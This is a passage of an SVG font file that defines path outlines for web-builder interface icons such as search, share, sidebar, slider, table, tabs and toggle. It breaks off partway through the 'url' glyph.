<glyph glyph-name="rtl" unicode="&#xe84f;" d="M229 308c12 0 21 10 21 21v104h93l77-115c4-6 11-10 18-10 4 0 8 2 11 4 10 6 12 19 6 29l-66 99c40 14 69 52 69 98v41c0 58-46 104-104 104h-125c-11 0-21-9-21-20v-334c0-11 10-21 21-21z m21 334h104c35 0 63-28 63-63v-41c0-35-28-63-63-63h-104v167z m229 0h104v-313c0-11 10-21 21-21s21 10 21 21v313h104c12 0 21 9 21 21s-9 20-21 20h-250c-11 0-21-9-21-20s10-21 21-21z m334-334h166c12 0 21 10 21 21s-9 21-21 21h-146v313c0 11-9 20-20 20s-21-9-21-20v-334c0-11 9-21 21-21z m166-125h-908l90 90c8 8 8 21 0 29s-22 8-30 0l-125-125c0 0 0 0 0 0-2-2-3-4-4-6-3-6-3-11 0-16 0-2 1-3 2-4 1-1 1-2 2-3l125-125c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-90 90h908c12 0 21 9 21 21s-9 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="scroll" unicode="&#xe850;" d="M583 850h-166c-150 0-271-121-271-271v-375c0-195 159-354 354-354s354 159 354 354v375c0 150-121 271-271 271z m-83-167c12 0 21-9 21-20v-125c0-12-9-21-21-21s-21 9-21 21v125c0 11 10 20 21 20z m313-479c0-172-141-312-313-312s-312 140-312 312v375c0 127 102 229 229 229h62v-87c-24-8-41-31-41-58v-125c0-35 28-63 62-63s63 28 63 63v125c0 27-18 50-42 58v87h62c127 0 230-102 230-229v-375z" horiz-adv-x="1000" />

<glyph glyph-name="search" unicode="&#xe851;" d="M994-115l-304 305c63 70 102 163 102 264 0 218-178 396-396 396s-396-178-396-396 178-396 396-396c102 0 194 39 264 102l304-304c5-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29z m-952 569c0 196 159 354 354 354s354-158 354-354-159-354-354-354-354 159-354 354z" horiz-adv-x="1000" />

<glyph glyph-name="select" unicode="&#xe852;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-119 306l-151-151-152 151c-9 9-22 9-30 0s-8-21 0-29l167-167c4-4 9-6 15-6s10 2 14 6l167 167c8 8 8 21 0 29-8 9-21 9-30 0z" horiz-adv-x="1000" />

<glyph glyph-name="share" unicode="&#xe853;" d="M833 183c-57 0-108-29-138-74l-372 186c6 17 10 36 10 55s-4 38-10 55l372 186c30-45 81-74 138-74 92 0 167 74 167 166s-75 167-167 167-166-75-166-167c0-19 4-37 10-55l-372-185c-30 44-81 74-138 74-92 0-167-75-167-167s75-167 167-167c57 0 108 30 138 75l372-186c-6-18-10-36-10-55 0-92 74-167 166-167s167 75 167 167-75 166-167 166z m0 625c69 0 125-56 125-125s-56-125-125-125c-48 0-90 29-111 69 0 1 0 1 0 1 0 0 0 0 0 0-8 17-14 35-14 55 0 69 56 125 125 125z m-666-583c-69 0-125 56-125 125s56 125 125 125c48 0 90-28 111-69 0 0 0 0 0 0 0 0 0 0 0 0 9-17 14-36 14-56 0-20-5-38-14-55 0 0 0 0 0-1 0 0 0 0 0 0-21-41-63-69-111-69z m666-333c-69 0-125 56-125 125 0 20 6 38 14 55 0 0 0 0 0 0 0 0 0 0 0 1 21 40 63 69 111 69 69 0 125-56 125-125s-56-125-125-125z" horiz-adv-x="1000" />

<glyph glyph-name="sidebar" unicode="&#xe854;" d="M979 850h-958c-12 0-21-9-21-21v-958c0-12 9-21 21-21h958c12 0 21 9 21 21v958c0 12-9 21-21 21z m-21-42v-166h-916v166h916z m-916-208h541v-708h-541v708z m583-708v708h333v-708h-333z m229 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z m0 125h-125c-11 0-21-10-21-21s10-21 21-21h125c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="skill-bar" unicode="&#xe855;" d="M938 829h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h749c0 0 0 0 1 0s0 0 0 0h125c34 0 62 28 62 62v84c0 34-28 62-62 62z m-146-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-105v125h105c11 0 20-10 20-21v-84z m-20-104h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h499c0 0 0 0 1 0s0 0 0 0h375c34 0 62 28 62 62v84c0 34-28 62-62 62z m-396-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-355v125h355c11 0 20-10 20-21v-84z m-20-354h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h249c0 0 0 0 1 0s0 0 0 0h625c34 0 62 28 62 62v84c0 34-28 62-62 62z m-646-167h-96l96 96v-96z m-155 0h-66l125 126h66l-125-126z m-74 126h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-21-20-21h-605v126h605c11 0 20-10 20-21v-84z m-20 396h-875c-35 0-63-28-63-62v-84c0-34 28-62 63-62h624c0 0 0 0 1 0s0 0 0 0h250c34 0 62 28 62 62v84c0 34-28 62-62 62z m-271-166h-96l96 95v-95z m-155 0h-66l125 125h66l-125-125z m-191 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-125 0l125 125h66l-125-125h-66z m-8 125h74l-95-96v75c0 11 9 21 21 21z m895-105c0-11-9-20-20-20h-230v125h230c11 0 20-10 20-21v-84z" horiz-adv-x="1000" />

<glyph glyph-name="slider-3d" unicode="&#xe856;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-655 373l-84-42c-10-5-14-17-9-28 5-10 18-14 28-9l53 27v-266l-53 26c-10 5-23 1-28-9-5-10-1-23 9-28l84-42c3-1 6-2 9-2 4 0 8 1 11 3 6 4 10 11 10 18v333c0 8-4 14-10 18-6 4-14 4-20 1z m833-292l-53-26v266l53-27c10-5 23-1 28 9 5 11 1 23-9 28l-84 42c-6 3-14 3-20-1-6-4-10-10-10-18v-333c0-7 4-14 10-18 3-2 7-3 11-3 3 0 6 1 9 2l84 42c10 5 14 18 9 28-5 10-18 14-28 9z" horiz-adv-x="1000" />

<glyph glyph-name="slider-album" unicode="&#xe857;" d="M971 533c-5 4-11 5-18 4l-140-35v56c0 12-10 21-21 21h-584c-11 0-20-9-20-21v-56l-141 35c-6 1-13 0-18-4s-8-10-8-16v-334c0-6 3-12 8-16 4-3 8-4 13-4 1 0 3 0 5 0l141 35v-56c0-12 9-21 20-21h584c11 0 21 9 21 21v56l140-35c2 0 4 0 5 0 5 0 10 1 13 4 5 4 8 10 8 16v334c0 6-3 12-8 16z m-908-323v280l125-31v-218l-125-31z m708-47h-542v375h542v-375z m167 47l-125 31v218l125 31v-280z" horiz-adv-x="1000" />

<glyph glyph-name="slider-device" unicode="&#xe858;" d="M125 288c5 0 11 2 15 6 8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30s-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6z m848 118l-83 84c-8 8-22 8-30 0-8-8-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z m-98-160h-62v354c0 35-28 63-63 63h-500c-34 0-62-28-62-63v-354h-63c-11 0-21-9-21-21v-42c0-34 28-62 63-62h666c35 0 63 28 63 62v42c0 12-9 21-21 21z m-646 354c0 12 10 21 21 21h500c12 0 21-9 21-21v-354h-542v354z m625-417c0-11-9-20-21-20h-666c-12 0-21 9-21 20v21h62 584 62v-21z" horiz-adv-x="1000" />

<glyph glyph-name="slider-full-screen" unicode="&#xe859;" d="M958 704h-916c-12 0-21-9-21-21v-666c0-12 9-21 21-21h916c12 0 21 9 21 21v666c0 12-9 21-21 21z m-20-666h-875v625h875v-625z m-744 214c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-68 69 68 69c8 8 8 21 0 29s-21 8-29 0l-84-83c-8-8-8-22 0-30l84-83z m583 0c4-4 9-6 15-6s10 2 14 6l84 83c8 8 8 22 0 30l-84 83c-8 8-21 8-29 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29z m-460-80c0-1 1-2 2-3 0-1 1-1 2-2 1-1 3-2 4-3 3-1 6-1 8-1h84c11 0 21 9 21 20s-10 21-21 21h-33l68 69c8 8 8 21 0 29s-21 8-29 0l-69-68v33c0 11-9 21-21 21s-20-10-20-21v-84c0-2 0-5 1-8 1-1 2-2 3-3z m-4 345v-84c0-11 9-20 20-20s21 9 21 20v33l69-68c4-4 9-6 15-6s10 2 14 6c8 8 8 21 0 29l-68 69h33c11 0 21 9 21 21s-10 21-21 21h-84c-1 0-2-1-3-1-2 0-3 0-5-1-2-1-4-3-6-5l0 0c-1 0-1 0-1 0-1-2-3-4-4-6-1-3-1-6-1-8z m250-125c5 0 10 2 14 6l69 68v-33c0-11 9-20 21-20 11 0 21 9 21 20v84c0 1-1 3-1 4-1 1-1 3-1 4-2 5-6 9-11 11-2 0-3 0-4 1-1 0-3 1-4 1h-84c-11 0-20-10-20-21s9-21 20-21h33l-68-69c-8-8-8-21 0-29 4-4 9-6 15-6z m53-188h-33c-11 0-20-9-20-21 0-11 9-20 20-20h84c2 0 5 0 8 1 2 1 4 3 6 4 0 0 0 0 0 1l0 0c2 2 4 4 5 6 1 2 1 3 1 5 0 1 1 2 1 3v84c0 11-10 21-21 21s-21-10-21-21v-33l-69 68c-8 8-21 8-29 0s-8-21 0-29l68-69z" horiz-adv-x="1000" />

<glyph glyph-name="slider-push" unicode="&#xe85a;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-646 417h-83c-12 0-21-9-21-21s9-21 21-21h62v-375h-62c-12 0-21-9-21-21 0-11 9-20 21-20h83c12 0 21 9 21 20v417c0 12-9 21-21 21z m833-417h-62v375h62c12 0 21 10 21 21s-9 21-21 21h-83c-11 0-21-9-21-21v-417c0-11 10-20 21-20h83c12 0 21 9 21 20s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="slider-vertical" unicode="&#xe85b;" d="M958 663h-916c-12 0-21-10-21-21v-584c0-11 9-20 21-20h916c12 0 21 9 21 20v584c0 11-9 21-21 21z m-20-584h-875v542h875v-542z m-369-89l-69-69-69 69c-8 8-21 8-29 0s-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30-8 8-21 8-29 0z m-138 720l69 69 69-69c4-4 9-6 14-6s11 2 15 6c8 8 8 22 0 30l-83 83c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30s21-8 29 0z" horiz-adv-x="1000" />

<glyph glyph-name="slider-video" unicode="&#xe85c;" d="M792 579h-584c-11 0-20-9-20-21v-416c0-12 9-21 20-21h584c11 0 21 9 21 21v416c0 12-10 21-21 21z m-21-416h-542v375h542v-375z m-631 285c-8 8-22 8-30 0l-83-83c-8-8-8-22 0-30l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z m833-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30z m-524-117c3-1 6-2 9-2 4 0 8 1 12 3l125 84c6 4 9 10 9 17s-3 14-9 17l-125 84c-7 4-15 4-21 1-7-4-11-11-11-19v-166c0-8 4-15 11-19z m30 146l67-44-67-44v88z" horiz-adv-x="1000" />

<glyph glyph-name="slides" unicode="&#xe85d;" d="M792 621h-584c-11 0-20-9-20-21v-417c0-11 9-20 20-20h584c11 0 21 9 21 20v417c0 12-10 21-21 21z m-21-417h-542v375h542v-375z m-631 286c-8 8-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30z m833-84l-83 84c-8 8-22 8-30 0s-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z" horiz-adv-x="1000" />

<glyph glyph-name="social-icons" unicode="&#xe85e;" d="M926 796l-105 9c-47 4-95 4-142 0l-105-9c-42-4-74-38-74-80v-190c0-42 32-77 74-80l105-10c24-2 47-3 71-3s47 1 71 3l105 10c42 3 74 38 74 80v190c0 42-32 76-74 80z m32-270c0-20-15-37-35-39l-106-9c-44-4-90-4-134 0l-106 9c-20 2-35 19-35 39v190c0 20 15 37 35 39l106 9c22 2 45 3 67 3s45-1 67-3l106-9c20-2 35-19 35-39v-190z m-259 196c-6 4-15 4-21 1-7-4-11-11-11-19v-166c0-8 4-15 11-19 3-1 6-2 10-2 4 0 8 1 11 3l125 84c6 3 9 10 9 17s-3 13-9 17l-125 84z m9-146v89l67-44-67-45z m-264-308c1 2 2 5 2 8 3 8-1 17-8 22-7 5-16 5-23 1-5-3-23-11-37-15-38 30-83 32-128 7-34-20-45-55-46-83-69 10-112 47-137 78-5 5-11 8-18 7-7 0-13-4-16-10-15-24-19-51-12-78 1-5 2-9 4-13 0-1-1-1-1-1-7-4-12-11-12-19 0-32 14-57 32-74 0 0-1-1-1-1-5-6-7-15-3-23 11-24 29-42 52-54-22-7-46-10-69-7-10 1-19-5-22-15-3-9 1-20 10-24 48-27 98-41 146-40 50 0 98 14 141 43 75 50 122 138 118 218 12 9 28 24 39 41 5 8 4 19-2 26-3 3-6 5-9 6z m-169-257c-32-21-92-48-170-30 21 7 40 18 56 31 6 6 8 15 5 23s-10 13-19 14c-17 0-32 5-44 13 6 2 11 5 16 9 7 5 9 14 7 22s-10 14-18 15c-7 0-30 10-44 31 5 0 11 0 16 1 8 2 15 8 16 17 2 9-2 17-10 21-7 5-20 18-25 37-1 6-2 12-2 18 36-33 89-65 166-69 6-1 13 3 17 8 4 5 6 12 4 18-3 11-2 49 25 64 33 19 61 16 87-8 3-3 7-4 11-5-1-3-1-6 0-9 1-6 5-11 9-14-3-4-5-10-4-15 8-69-33-147-99-192z m121 797h-333c-35 0-63-28-63-62v-333c0-35 28-63 63-63h333c34 0 62 28 62 63v333c0 34-28 62-62 62z m21-395c0-12-10-21-21-21h-146v166h42c11 0 21 10 21 21s-10 21-21 21h-42c0 23 19 42 42 42h21c11 0 20 9 20 21s-9 20-20 20h-21c-46 0-84-37-84-83h-20c-12 0-21-9-21-21s9-21 21-21h20v-166h-145c-12 0-21 9-21 21v333c0 11 9 21 21 21h333c11 0 21-10 21-21v-333z m437-21h-208c-81 0-146-66-146-146v-208c0-81 65-146 146-146h208c81 0 146 65 146 146v208c0 80-65 146-146 146z m104-354c0-58-46-105-104-105h-208c-58 0-104 47-104 105v208c0 57 46 104 104 104h208c58 0 104-47 104-104v-208z m-208 229c-69 0-125-56-125-125s56-125 125-125 125 56 125 125-56 125-125 125z m0-209c-46 0-83 38-83 84s37 83 83 83 83-37 83-83-37-84-83-84z" horiz-adv-x="1000" />

<glyph glyph-name="spacer" unicode="&#xe85f;" d="M42 663h916c12 0 21 9 21 20s-9 21-21 21h-916c-12 0-21-9-21-21s9-20 21-20z m583-250c8 0 15 4 19 11s2 16-2 22l-125 167c-8 10-26 10-34 0l-125-167c-4-6-5-15-2-22 4-7 11-11 19-11h104v-125h-104c-8 0-15-5-19-12-3-7-2-15 2-22l125-166c4-6 11-9 17-9s13 3 17 9l125 166c4 7 5 15 2 22-4 7-11 12-19 12h-104v125h104z m-125-278l-83 111h166l-83-111z m0 430l83-111h-166l83 111z m458-527h-916c-12 0-21-10-21-21s9-21 21-21h916c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="table" unicode="&#xe860;" d="M979 725h-958c-12 0-21-9-21-21v-708c0-12 9-21 21-21h958c12 0 21 9 21 21v708c0 12-9 21-21 21z m-602-542v125h248v-125h-248z m248-41v-125h-248v125h248z m0 333v-125h-248v125h248z m42 0h291v-125h-291v125z m-332-125h-293v125h293v-125z m-293-42h293v-125h-293v125z m625 0h291v-125h-291v125z m291 375v-166h-916v166h916z m-916-541h293v-125h-293v125z m625-125v125h291v-125h-291z" horiz-adv-x="1000" />

<glyph glyph-name="tabs" unicode="&#xe861;" d="M988 574l-42 111c-9 24-32 40-58 40h-191c-21 0-40-10-51-26-12 16-30 26-51 26h-190c-21 0-39-10-51-26-11 16-30 26-51 26h-191c-26 0-49-16-58-40l-45-120c-6-16-9-32-9-49v-478c0-35 28-63 63-63h875c34 0 62 28 62 63v500c0 13-5 26-12 36z m-291 109h191c9 0 16-5 20-13l26-70h-252l-14 42 9 27c3 9 11 14 20 14z m-292 0h190c9 0 17-5 20-14l23-69h-248l-14 42 9 27c3 9 11 14 20 14z m553-645c0-12-9-21-20-21h-875c-12 0-21 9-21 21v478c0 12 2 23 6 34l45 120c3 8 10 13 19 13h191c9 0 17-5 20-14l32-96c3-9 11-15 20-15h563c5 0 10-2 13-5l1-3c1-2 3-4 5-6 1-2 1-4 1-6v-500z" horiz-adv-x="1000" />

<glyph glyph-name="tel-field" unicode="&#xe862;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-460 190c-26 0-52 4-76 12-16 5-34 1-43-9l-45-34c-52 28-85 61-113 112l33 43c11 12 16 29 11 45-9 24-13 50-13 76 0 24-19 44-44 44h-81c-24 0-44-20-44-44 0-228 186-414 415-414 24 0 44 20 44 44v81c0 24-20 44-44 44z m0-127c-206 0-373 167-371 375l84-3c0-30 5-60 14-89l20 7-23-11-42-56c-5-7-5-15-2-22 36-70 78-112 148-148 7-4 16-3 22 2l56 42c1 0 4 2 5 2 28-9 58-14 91-16l-2-83z" horiz-adv-x="1000" />

<glyph glyph-name="text-area" unicode="&#xe863;" d="M938 767h-875c-35 0-63-28-63-63v-708c0-35 28-63 63-63h875c34 0 62 28 62 63v708c0 35-28 63-62 63z m-896-771v708c0 12 9 21 21 21h875c11 0 20-9 20-21v-616l-112-113h-783c-12 0-21 9-21 21z m896-21h-33l53 54v-33c0-12-9-21-20-21z m-689 653c-6 16-33 16-39 0l-125-333c-4-11 1-23 12-27 11-4 23 1 27 12l42 112c0 0 0 0 1 0h125c0 0 0 0 1 0l42-112c3-8 11-13 19-13 3 0 5 0 8 1 10 4 16 16 12 27l-125 333z m-68-195l48 129 48-129h-96z m694-62c0 11-9 21-21 21s-21-10-21-21c0-35-28-63-62-63s-63 28-63 63v83c0 35 28 63 63 63s62-28 62-63c0-11 10-21 21-21s21 10 21 21c0 58-47 104-104 104s-104-46-104-104v-83c0-58 46-104 104-104s104 46 104 104z m-354 187c-24 0-45-8-63-21v84c0 11-9 21-20 21s-21-10-21-21v-167-21-41-21-83c0-12 9-21 21-21s20 9 20 21v0c18-13 39-21 63-21 57 0 104 46 104 104v83c0 58-47 104-104 104z m62-187c0-35-28-63-62-63s-63 28-63 63v21 41 21c0 35 28 63 63 63s62-28 62-63v-83z" horiz-adv-x="1000" />

<glyph glyph-name="text-field" unicode="&#xe864;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-729 438c12 0 21 9 21 20s-9 21-21 21h-83c-12 0-21-9-21-21s9-20 21-20h21v-375h-21c-12 0-21-10-21-21s9-21 21-21h83c12 0 21 9 21 21s-9 21-21 21h-21v375h21z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-down" unicode="&#xe865;" d="M792 663h-584c-11 0-20-10-20-21v-417c0-11 9-21 20-21h584c11 0 21 10 21 21v417c0 11-10 21-21 21z m-21-417h-542v375h542v-375z m-631 244c-8 8-22 8-30 0l-83-84c-8-8-8-21 0-29l83-83c4-4 10-6 15-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 68c8 8 8 22 0 30z m833-84l-83 84c-8 8-22 8-30 0s-8-22 0-30l69-68-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 21 0 29z m-681-243h-84c-11 0-20-10-20-21v-84c0-11 9-20 20-20h84c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z m187 84h-83c-11 0-21-10-21-21v-84c0-11 10-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-20-84h-42v42h42v-42z m187 84h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m188 84h-84c-11 0-20-10-20-21v-84c0-11 9-20 20-20h84c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-half" unicode="&#xe866;" d="M479 663h-458c-12 0-21-10-21-21v-584c0-11 9-20 21-20h458c12 0 21 9 21 20v584c0 11-9 21-21 21z m-21-584h-416v542h416v-542z m521 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c12 0 21 9 21 21v83c0 12-9 21-21 21z m-21-83h-41v41h41v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c12 0 21 10 21 21v83c0 12-9 21-21 21z m-21-83h-41v42h41v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m-145 584h-84c-11 0-21-10-21-21v-84c0-11 10-20 21-20h84c11 0 20 9 20 20v84c0 11-9 21-20 21z m-21-84h-42v42h42v-42z m21-83h-84c-11 0-21-9-21-21v-83c0-12 10-21 21-21h84c11 0 20 9 20 21v83c0 12-9 21-20 21z m-21-83h-42v41h42v-41z m21-84h-84c-11 0-21-9-21-21v-83c0-11 10-21 21-21h84c11 0 20 10 20 21v83c0 12-9 21-20 21z m-21-83h-42v42h42v-42z m21-83h-84c-11 0-21-10-21-21v-84c0-11 10-20 21-20h84c11 0 20 9 20 20v84c0 11-9 21-20 21z m-21-84h-42v42h42v-42z m-146 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c11 0 21 9 21 21v83c0 12-10 21-21 21z m-21-83h-42v41h42v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c11 0 21 10 21 21v83c0 12-10 21-21 21z m-21-83h-42v42h42v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c11 0 21 9 21 20v84c0 11-10 21-21 21z m-21-84h-42v42h42v-42z" horiz-adv-x="1000" />

<glyph glyph-name="thumbnails-right" unicode="&#xe867;" d="M813 663h-792c-12 0-21-10-21-21v-584c0-11 9-20 21-20h792c11 0 20 9 20 20v584c0 11-9 21-20 21z m-21-584h-750v542h750v-542z m187 584h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z m21-83h-83c-12 0-21-9-21-21v-83c0-12 9-21 21-21h83c12 0 21 9 21 21v83c0 12-9 21-21 21z m-21-83h-41v41h41v-41z m21-84h-83c-12 0-21-9-21-21v-83c0-11 9-21 21-21h83c12 0 21 10 21 21v83c0 12-9 21-21 21z m-21-83h-41v42h41v-42z m21-83h-83c-12 0-21-10-21-21v-84c0-11 9-20 21-20h83c12 0 21 9 21 20v84c0 11-9 21-21 21z m-21-84h-41v42h41v-42z" horiz-adv-x="1000" />

<glyph glyph-name="time-line" unicode="&#xe868;" d="M667 454h250c34 0 62 28 62 63v250c0 34-28 62-62 62h-250c-35 0-63-28-63-62v-33l-54-55c-8 10-18 17-29 21v108c0 12-9 21-21 21s-21-9-21-21v-108c-24-8-41-31-41-58s17-50 41-59v-174c-11-4-21-12-29-21l-54 54v33c0 34-28 63-63 63h-250c-34 0-62-29-62-63v-250c0-34 28-62 62-62h250c35 0 63 28 63 62v33l54 55c8-10 18-18 29-22v-174c-24-9-41-32-41-59s17-50 41-58v-108c0-12 10-21 21-21s21 9 21 21v108c11 4 21 11 29 21l54-55v-33c0-34 28-62 63-62h250c34 0 62 28 62 62v250c0 35-28 63-62 63h-250c-35 0-63-28-63-63v-33l-54-54c-8 10-18 17-29 21v174c24 9 42 32 42 59s-18 50-42 59v174c11 4 21 12 29 21l54-54v-33c0-35 28-63 63-63z m-167 209c12 0 21-10 21-21v0c0-12-9-21-21-21s-21 9-21 21 10 21 21 21z m-140-382c-4-3-6-9-6-14v-42c0-11-9-21-21-21h-250c-11 0-20 10-20 21v250c0 12 9 21 20 21h250c12 0 21-9 21-21v-42c0-5 2-10 6-14l69-69-69-69z m140-202c12 0 21-9 21-21v0c0-11-9-20-21-20s-21 9-21 20 10 21 21 21z m140 48c4 4 6 9 6 15v41c0 12 9 21 21 21h250c11 0 21-9 21-21v-250c0-11-10-21-21-21h-250c-12 0-21 10-21 21v42c0 5-2 11-6 15l-69 68 69 69z m-140 202c-11 0-21 10-21 21v0c0 12 10 21 21 21s21-9 21-21-9-21-21-21z m71 313l69 68c4 4 6 9 6 15v42c0 11 9 21 21 21h250c11 0 21-10 21-21v-250c0-12-10-21-21-21h-250c-12 0-21 9-21 21v41c0 6-2 11-6 15l-69 69z" horiz-adv-x="1000" />

<glyph glyph-name="toggle" unicode="&#xe869;" d="M229 829h-166c-35 0-63-28-63-62v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 34-28 62-63 62z m21-229c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 11 9 21 21 21h166c12 0 21-10 21-21v-167z m-62 104h-21v21c0 12-10 21-21 21s-21-9-21-21v-21h-21c-11 0-21-9-21-21s10-20 21-20h21v-21c0-12 9-21 21-21s21 9 21 21v21h21c11 0 20 9 20 20s-9 21-20 21z m41-208h-166c-35 0-63-28-63-63v-166c0-35 28-63 63-63h166c35 0 63 28 63 63v166c0 35-28 63-63 63z m21-229c0-12-9-21-21-21h-166c-12 0-21 9-21 21v166c0 12 9 21 21 21h166c12 0 21-9 21-21v-166z m-62 104h-21v21c0 11-10 21-21 21s-21-10-21-21v-21h-21c-11 0-21-9-21-21s10-21 21-21h21v-21c0-11 9-20 21-20s21 9 21 20v21h21c11 0 20 10 20 21s-9 21-20 21z m41-208h-166c-35 0-63-28-63-63v-167c0-34 28-62 63-62h166c35 0 63 28 63 62v167c0 35-28 63-63 63z m21-230c0-11-9-21-21-21h-166c-12 0-21 10-21 21v167c0 12 9 21 21 21h166c12 0 21-9 21-21v-167z m-62 105h-21v20c0 12-10 21-21 21s-21-9-21-21v-20h-21c-11 0-21-10-21-21s10-21 21-21h21v-21c0-12 9-21 21-21s21 9 21 21v21h21c11 0 20 9 20 21s-9 21-20 21z m208 625h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="url" unicode="&#xe86a;" d="M938 621h-875c-35 0-63-28-63-63v-416c0-35 28-63 63-63h875c34 0 62 28 62 63v416c0 35-28 63-62 63z m20-479c0-12-9-21-20-21h-875c-12 0-21 9-21 21v416c0 12 9 21 21 21h875c11 0 20-9 20-21v-416z m-640 312c-12 2-23-4-26-16l-26-106-38 89c-7 15-32 15-39 0l-38-89-27 106c-2 12-14 18-25 16-11-3-18-15-15-26l42-166c2-9 9-15 18-16 10-1 18 4 21 13l43 101 44-101c3-8 11-13 19-13 0 0 1 0 2 0 8 1 16 7 18 16l42 166c3 11-4 23-15 26z m291 0c-11 2-22-4-25-16l-27-106-38 89c-6 15-32 15-38 0l-38-89-27 106c-3 12-14 18-25 16-11-3-18-15-15-26l41-166c3-9 10-15 19-16 9-1 17 4 21 13l43 101 43-101c4-8 11-13 20-13 0 0 1 0 1 0 9 1 17 7 19 16l41 166c3 11-4 23-15 26z m292 0c-11 2-23-4-25-16l-27-106-38 89c-7 15-32 15-38 0l-39-89-26 106c-3 12-14 18-25 16-12-3-18-15-16-26l42-166c2-9 10-15 19-16 9-1 17 4 20 13l44 101 43-101c3-8 11-13 19-13 1 0 1 0 2 0 9 1 16 7 18 